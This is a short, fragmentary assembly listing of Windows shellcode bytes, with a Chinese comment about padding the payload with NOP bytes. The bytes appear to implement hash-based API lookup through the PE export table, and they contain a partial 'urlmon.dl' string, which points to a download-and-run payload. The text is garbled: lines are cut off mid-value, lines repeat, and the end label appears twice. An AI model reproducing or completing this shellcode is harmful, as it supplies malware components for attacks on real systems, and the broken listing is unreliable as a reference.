db 0EBh,54h,8Bh,75h,3Ch,8Bh,74h,35h,78h,03h,0F5h,56h,8Bh,76h,20h,03h,0F5h,33
db 41h,0ADh,33h,0DBh,36h,0Fh,0BEh,14h,28h,38h,0F2h,74h,08h,0C1h,0CBh,0Dh,0
db 0EFh,3Bh,0DFh,75h,0E7h,5Eh,8Bh,5Eh,24h,03h,0DDh,66h,8Bh,0Ch,4Bh,8Bh
db 8Bh,04h,8Bh,03h,0C5h,0C3h,75h,72h,6Ch,6Dh,6Fh,6Eh,2Eh,64h,6Ch,
shellcode_end = $
db 0EFh,3Bh,0DFh,75h,0E7h,5Eh,8Bh,5Eh,24h,03h,0DDh,66h,8Bh,0Ch,4Bh,8Bh
db 8Bh,04h,8Bh,03h,0C5h,0C3h,75h,72h,6Ch,6Dh,6Fh,6Eh,2Eh,64h,6Ch,
db 90h,90h,90h,90h,90h <==增加5個位元組.90h是nop指令,寫入失敗也沒關係
不會執行奇怪的指令
shellcode_end = $